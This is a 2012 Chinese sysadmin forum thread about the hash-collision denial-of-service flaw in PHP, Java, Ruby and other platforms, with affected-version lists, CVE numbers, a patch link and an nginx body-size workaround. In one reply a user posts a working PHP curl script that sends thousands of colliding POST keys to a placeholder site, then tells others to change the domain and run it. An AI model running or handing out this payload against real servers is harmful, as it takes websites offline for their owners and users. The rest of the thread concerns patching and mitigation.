设为首页收藏本站

LinuxTone | 运维专家网论坛 - 最棒的Linux运维与开源架构技术交流社区!

 找回密码
 注册

用新浪微博连接

一步搞定

QQ登录

只需一步,快速开始

查看: 2112|回复: 25

[业内动态] 【严重】哈希表多碰撞实现拒绝服务攻击   [复制链接]

Rank: 4

签到
16
注册时间
2010-4-6
最后登录
2012-1-13
在线时间
19 小时
阅读权限
50
积分
758
帖子
122
主题
16
精华
0
UID
8723
发表于 2012-1-3 13:06:38 |显示全部楼层
【51CTO快讯】前日有信息显示当前包括PHP、Java、Ruby在内的很多语言版本存在漏洞,PHP官方开发组成员Laruence表示攻击者可以通过构造Hash冲突实现拒绝服务攻击,并提供了实例。这个攻击方法危害很高,攻击成本也很小,一个台式机可以轻松搞垮数十台、上百台服务器。

此漏洞一出,相当于随便一个攻击者就可以DDoS掉世界上的大部分网站!危害等级绝对是核弹级别。因此,PHP官方开发组紧急发布了补丁,请大家尽速修补。

PHP方面,<= 5.3.8, <= 5.4.0RC3的所有版本均会受此漏洞影响。PHP 5.3.9和PHP 5.4.0已经包含了针对此漏洞的补丁,但由于两个版本目前仍然在RC状态,无法用于生产服务器升级。至于PHP 5.2,官方开发组表示不会为了这个漏洞发布新版。



官方目前提供的解决方案是给自己的PHP环境打一个Patch,5.2和5.3都可以使用。Patch地址如下:

https://github.com/laruence/laru ... -5.2-max-input-vars

使用方法:

1. cd 到 php src,运行: patch -p1 < php-5.2.*-max-input-vars.patch
2. 最新的 PHP 5.3.9-RC4 已经修复了本漏洞,5.3 的用户可以直接升级到 5.3.9-RC4 。
   当然,如果您不想更新到一个RC版本,那么也可以很简单的修改上面这个补丁,应用到 5.3 的相应版本上。
Laruence还建议其他语言java, ruby等,请各位也预先想好对策,限制post_size是治标不治本的方法,不过可以用来做临时解决方案。

临时解决方案参考:五四陈科学院
不过此方法治标不治本
此外,微软也已经紧急发布了更新,修复了ASP.net上的该漏洞:

http://netsecurity.51cto.com/art/201112/310628.htm

查询清单

目前已知的受影响的语言以及版本有::

Java, 所有版本
JRuby <= 1.6.5
PHP <= 5.3.8, <= 5.4.0RC3
Python, 所有版本
Rubinius, 所有版本
Ruby <= 1.8.7-p356
Apache Geronimo, 所有版本
Apache Tomcat <= 5.5.34, <= 6.0.34, <= 7.0.22
Oracle Glassfish <= 3.1.1
Jetty, 所有版本
Plone, 所有版本
Rack, 所有版本
V8 JavaScript Engine, 所有版本
不受此影响的语言或者修复版本的语言有::

PHP >= 5.3.9, >= 5.4.0RC4
JRuby >= 1.6.5.1
Ruby >= 1.8.7-p357, 1.9.x
Apache Tomcat >= 5.5.35, >= 6.0.35, >= 7.0.23
Oracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)
CVE: CVE-2011-4885 (PHP), CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby), CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby)
-----------------------------------------------------------------------------
此漏洞很严重 请大家务必升级
附上测试截图一只
附件: 你需要登录才可以下载或查看附件。没有帐号?注册

Rank: 4

注册时间
2011-12-28
最后登录
2012-1-5
在线时间
1 小时
阅读权限
50
积分
631
帖子
2
主题
0
精华
0
UID
16980
发表于 2012-1-3 13:11:25 |显示全部楼层
必须知道

使用道具 举报

Rank: 8Rank: 8

注册时间
2011-6-30
最后登录
2012-2-23
在线时间
12 小时
阅读权限
90
积分
4297
帖子
33
主题
0
精华
0
UID
14772
发表于 2012-1-3 13:28:11 |显示全部楼层
果断的要关注

使用道具 举报

论坛元老

LT fans

Rank: 8Rank: 8

注册时间
2011-5-31
最后登录
2012-2-23
在线时间
138 小时
阅读权限
90
积分
7251
帖子
204
主题
21
精华
0
UID
13960
发表于 2012-1-3 13:33:30 |显示全部楼层
果断补丁去
www.netcat.tk

使用道具 举报

Rank: 6Rank: 6

注册时间
2010-10-28
最后登录
2012-2-22
在线时间
25 小时
阅读权限
70
积分
1744
帖子
17
主题
2
精华
0
UID
10749
发表于 2012-1-3 13:46:30 |显示全部楼层
如何测试?

使用道具 举报

Rank: 8Rank: 8

注册时间
2010-10-11
最后登录
2012-2-15
在线时间
63 小时
阅读权限
90
积分
3171
帖子
119
主题
4
精华
0
UID
10572
发表于 2012-1-3 14:13:55 |显示全部楼层
谢谢提醒,我星期六就升级了,上了个RC版本....

使用道具 举报

Rank: 8Rank: 8

注册时间
2010-10-11
最后登录
2012-2-15
在线时间
63 小时
阅读权限
90
积分
3171
帖子
119
主题
4
精华
0
UID
10572
发表于 2012-1-3 14:15:07 |显示全部楼层
<?php
$size = pow(2, 16);
$array = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.XXXXX.com/index.php");
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
        #$array[$key] = 0;
        $argument.="a[".$key."]=0&";
}
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, '0');
curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

$return['result'] = curl_exec($ch);
$return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
?>

使用道具 举报

Rank: 3Rank: 3

注册时间
2009-6-3
最后登录
2012-1-3
在线时间
31 小时
阅读权限
30
积分
453
帖子
82
主题
1
精华
0
UID
3377

LT粉丝

发表于 2012-1-3 14:15:15 |显示全部楼层
这问题很严重,用恶意代码测试,服务器瞬间挂掉。

修改nginx 中 client_max_body_size=10k可临时解决。(应用不同,这个值也不一样。我设置的是100k)

上传了一个附件,详细信息大家可以看这个文档。
附件: 你需要登录才可以下载或查看附件。没有帐号?注册

使用道具 举报

Rank: 8Rank: 8

注册时间
2010-10-11
最后登录
2012-2-15
在线时间
63 小时
阅读权限
90
积分
3171
帖子
119
主题
4
精华
0
UID
10572
发表于 2012-1-3 14:15:52 |显示全部楼层
把上面那段代表复制,修改域名,就可以形成攻击测试脚本......

使用道具 举报

Rank: 6Rank: 6

注册时间
2010-8-20
最后登录
2012-2-1
在线时间
22 小时
阅读权限
70
积分
1668
帖子
41
主题
3
精华
0
UID
10161
发表于 2012-1-4 08:48:07 |显示全部楼层
我有一台服务器用的是wamp我想请教一下,这种如何升级PHP呢?

使用道具 举报

Rank: 8Rank: 8

注册时间
2010-2-26
最后登录
2012-2-23
在线时间
362 小时
阅读权限
90
积分
14731
帖子
413
主题
33
精华
0
UID
8062
发表于 2012-1-4 08:55:51 |显示全部楼层
不错~

使用道具 举报

Rank: 8Rank: 8

注册时间
2010-10-11
最后登录
2012-2-15
在线时间
63 小时
阅读权限
90
积分
3171
帖子
119
主题
4
精华
0
UID
10572
发表于 2012-1-4 09:40:25 |显示全部楼层
yoyoyu1999 发表于 2012-1-4 08:48
我有一台服务器用的是wamp我想请教一下,这种如何升级PHP呢?

不是手动编译??那就直接下载相应win版本装上去呗

使用道具 举报

Rank: 8Rank: 8

注册时间
2010-10-11
最后登录
2012-2-15
在线时间
63 小时
阅读权限
90
积分
3171
帖子
119
主题
4
精华
0
UID
10572
发表于 2012-1-4 09:42:43 |显示全部楼层
8533722 发表于 2012-1-3 13:46
如何测试?

复制我贴出那段,修改域名就行了..

使用道具 举报

Rank: 6Rank: 6

注册时间
2011-7-29
最后登录
2012-2-20
在线时间
7 小时
阅读权限
70
积分
2818
帖子
4
主题
0
精华
0
UID
15188
发表于 2012-1-4 10:41:11 |显示全部楼层
果断关注

使用道具 举报

Rank: 4

注册时间
2010-6-28
最后登录
2012-2-21
在线时间
14 小时
阅读权限
50
积分
502
帖子
5
主题
0
精华
0
UID
9637
发表于 2012-1-4 10:44:26 |显示全部楼层
春节临近 趁早吧

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

IT运维专家网感谢红之盟网络提供带宽支持

合作联系: QQ:67888954/MSN:cnseek@msn.com/mail:netseek@linuxtone.org

Archiver|手机版|感谢所有关心和支持过LinuxTone的朋友们 转载本站内容请注明原作者名及出处 ( 京ICP备08103151 )   |

GMT+8, 2012-2-23 10:03 , Processed in 0.092280 second(s), 11 queries , Memcache On.

Powered by Discuz! X2

© 2001-2011 Comsenz Inc.

回顶部